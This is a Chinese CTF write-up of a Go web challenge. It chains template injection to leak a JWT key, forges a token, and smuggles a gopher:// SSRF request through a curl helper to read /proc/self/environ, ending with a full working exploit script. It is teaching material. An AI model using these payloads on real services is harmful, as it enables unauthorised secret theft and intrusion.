记一次Go SSTI打SSRF到任意文件读
前言
前几天看到这样一个Go语言题目给了源码,从Go的SSTI打入调用相关结构体的函数从而进行SSRF打gopher进行漏洞利用,特此记录
言归正传
看一下主要文件utils.go源码
package main
import (
"crypto/rand"
"fmt"
"net/http"
"strings"
"time"
"github.com/golang-jwt/jwt/v5"
)
type Stringer struct{}
func (s Stringer) String() string {
return "[struct]"
}
func RandString(length int) string {
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
if _, err := rand.Read(b); err != nil {
panic(err)
}
for i := range b {
b[i] = letterBytes[int(b[i])%len(letterBytes)]
}
return string(b)
}
func genJwt(o Token) (string, error) {
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"user": o.Name,
"exp": time.Now().Add(time.Hour * 2).Unix(),
})
tokenStr, err := token.SignedString([]byte(config.JwtKey))
if err != nil {
return "", err
}
return tokenStr, nil
}
func validateJwt(tokenStr string) (Token, error) {
token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(config.JwtKey), nil
})
if err != nil {
return Token{}, err
}
var user *Token = nil
if claims, ok := token.Claims.(jwt.MapClaims); ok && token.Valid {
un := claims["user"].(string)
user = &Token{Name: un}
return *user, err
} else {
// Invalid token
return Token{}, err
}
}
// This function disables directory listing for http.FileServer
func noDirList(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if strings.HasSuffix(r.URL.Path, "/") || r.URL.Path == "" {
http.NotFound(w, r)
return
}
next.ServeHTTP(w, r)
})
}
mian.go 源码如下
package main
import (
"fmt"
"github.com/gorilla/mux" // 路由处理库
"io/ioutil" // 文件读写操作
"net/http" // HTTP服务器相关
"os/exec" // 执行外部命令
"strings" // 字符串处理
"text/template" // 模板解析
)
// Token 结构体用于存储令牌信息
type Token struct {
Stringer
Name string
}
// Config 结构体用于存储配置信息
type Config struct {
Stringer
Name string
JwtKey string
SignaturePath string
}
// Helper 结构体用于存储辅助信息
type Helper struct {
Stringer
User string
Config Config
}
// 初始化配置信息
var config = Config{
Name: "PangBai 过家家 (4)",
JwtKey: RandString(64), // 生成随机JWT密钥
SignaturePath: "./sign.txt", // 签名文件路径
}
// Curl 方法用于执行curl命令
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}
// routeIndex 处理根路径请求,返回index.html页面
func routeIndex(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "views/index.html")
}
// routeEye 处理/eye路径请求
func routeEye(w http.ResponseWriter, r *http.Request) {
input := r.URL.Query().Get("input") // 获取查询参数
if input == "" {
input = "{{ .User }}" // 默认值
}
// 读取模板文件
content, err := ioutil.ReadFile("views/eye.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)
if err != nil {
input := "[error]"
tmplStr = strings.Replace(string(content), "%s", input, -1)
tmpl, err = template.New("eye").Parse(tmplStr)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
}
// 从cookie中获取用户信息
user := "PangBai"
token, err := r.Cookie("token")
if err != nil {
token = &http.Cookie{Name: "token", Value: ""}
}
o, err := validateJwt(token.Value)
if err == nil {
user = o.Name
}
// 生成新的token
newToken, err := genJwt(Token{Name: user})
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
http.SetCookie(w, &http.Cookie{
Name: "token",
Value: newToken,
})
// 渲染模板
helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)
if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}
// routeFavorite 处理/favorite路径请求
func routeFavorite(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPut { // 处理PUT请求
// 确保只有localhost可以访问
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}
token, _ := r.Cookie("token")
o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}
if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}
if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}
// 渲染页面
tmpl, err := template.ParseFiles("views/favorite.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
sig, err := ioutil.ReadFile(config.SignaturePath)
if err != nil {
http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, string(sig))
if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}
// main 函数启动HTTP服务器
func main() {
r := mux.NewRouter()
r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)
r.PathPrefix("/assets").Handler(http.StripPrefix("/assets", noDirList(http.FileServer(http.Dir("./assets")))))
fmt.Println("Starting server on :8000")
http.ListenAndServe(":8000", r)
}
Go SSTI漏洞
发现eye路由存在ssti漏洞直接并且模板渲染的结构体中存在jwtkey
err = tmpl.Execute(w, helper)
type Helper struct {
Stringer
User string
Config Config
}
// 初始化配置信息
var config = Config{
Name: "PangBai 过家家 (4)",
JwtKey: RandString(64), // 生成随机JWT密钥
SignaturePath: "./sign.txt", // 签名文件路径
}
payload:
根据go语言语法拿到结构体中的JwtKey
{{.Config.JwtKey}}
key值为
pXtlvLNj18QVgM68I9xKwNEbLf2iLYtbgpy8Qu6mTKqKTPcfmub8zvGeIlKlpynt
Go SSRF中的Gopher攻击
接下来看favorite
路由中有更改jwt文件读取路径从而读取文件内容的功能
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
//这里sig是从文件中读取的内容
sig, err := ioutil.ReadFile(config.SignaturePath)
if err != nil {
http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
return
}
可以通过SSTI访问Curl函数(因为他也是Helper结构体的函数 )请求路由favorite
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}
我们看一下路由的限制条件:
首先请求必须来自本地127.0.0.1
或者[::1]
并且要Name=Papa
,同时要用PUT方法请求。
if r.Method == http.MethodPut {
// ensure only localhost can access
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}
token, _ := r.Cookie("token")
o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}
if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}
if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}
首先要伪造jwt绕过过滤需要赋值user的值
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMyMTgxMzYsInVzZXIiOiJQYXBhIn0.Oy7P30XNoykWbfIIqBZzyNqiKn5CA7EyArXxh5zapFk
Gopher 协议是一个互联网早期的协议,可以直接发送任意 TCP 报文。其 URI 格式为:gopher://远程地址/_编码的报文
,表示将报文原始内容发送到远程地址.
然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量:
PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0
Content-Length: 18
/proc/self/environ
那么我们一个发送脚本如下
import requests
from urllib.parse import quote
url="http://127.0.0.1:58000/eye"
data='''PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMyMjIyNDEsInVzZXIiOiJQYXBhIn0.ieXvl_UW5J1PrbwDLmkOqcRk_GcEVbs5F-OKi1bI99U
Content-Length: 18
/proc/self/environ'''
exp="{{ .Curl \"gopher://127.0.0.1:8000/_"+quote(data)+"\" }}"
exp=quote(exp)
res=requests.get(url+"?input="+exp)
print(res.text)
print(exp)
构造gopher,然后调用 curl,在 /eye
路由访问 {{ .Curl "gopher://..." }}
即可
gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
访问路由成功读取
写一个完整exp脚本
import requests
import re
import jwt
from urllib.parse import quote
global TARGET
TARGET = "http://172.18.0.2:8000"
def leak(input):
r = requests.get(TARGET + "/eye?input=" + quote(input))
bdata = r.content
m = re.search(
b'<span id="output">(.*)</span>\n </div>\n </div>\n</body>\n\n</html>$',
bdata,
re.DOTALL,
)
if m:
return m.group(1).decode()
return None
def gen_http_raw(value, token):
return f"""PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token={token}
Content-Length: {len(value)}
{value}""".replace(
"\n", "\r\n"
)
def wrap_gopher(payload):
return "gopher://localhost:8000/_" + quote(payload)
def read_file(fp, token):
print("\033[96m[+] Generating payload\033[0m")
payload = gen_http_raw(fp, token)
payload = wrap_gopher(payload)
print("\033[F\033[K\033[96;2m[+] Payload generated\033[0m")
print("\033[96m[+] Sending payload\033[0m")
status = leak(f'{{{{ .Curl "{payload}"}}}}')
if status == "ok":
print("\033[F\033[K\033[92;2m[+] Payload sent: \033[0;2m" + status + "\033[0m")
else:
print("\033[F\033[K\033[91m[-] Failed to send payload: \033[0m" + status)
return None
print("\033[96m[+] Reading file\033[0m")
r = requests.get(TARGET + "/favorite")
bdata = r.content
m = re.search(
b'<div class="text fixed" id="sign-text">(.*)</div>\n</body>\n\n</html>$',
bdata,
re.DOTALL,
)
if m:
print("\033[F\033[K\033[92m[+] File read: \033[0;4m" + fp + "\033[0m")
fcontent = m.group(1).decode()
print(fcontent)
print("\033[0m", end="")
return fcontent
else:
print("\033[F\033[K\033[91m[-] File read failed: \033[0m" + fp)
return None
if __name__ == "__main__":
import sys
if len(sys.argv) >= 2:
origin = sys.argv[1]
TARGET = f"http://{origin}" if "://" not in origin else origin
print(f"\033[96;2m[+] Target: \033[0;2m{TARGET}\033[0m")
print("\033[96m[+] Leaking JWT Key\033[0m")
jwtkey = leak("{{ .Config.JwtKey }}")
print("\033[F\033[K\033[94m[+] JWT Key: \033[0m" + jwtkey)
print("\033[96m[+] Generating JWT Token\033[0m")
token = jwt.encode({"user": "Papa"}, jwtkey, algorithm="HS256")
print("\033[F\033[K\033[94m[+] JWT Token: \033[0m" + token)
environ = read_file("/proc/self/environ", token)
if not environ:
exit(1)
m_flag = re.search(b"(^|\0|\n)FLAG=([^\0\r\n]+)", environ.encode())
if m_flag:
print("\033[92m[+] Found FLAG\033[0m")
print("\033[94m[+] \033[1mFLAG: \033[0m" + m_flag.group(2).decode() + "\033[0m")
exit(0)
else:
print("\033[93m[-] FLAG not found\033[0m")
exit(1)
0 条评论
可输入 255 字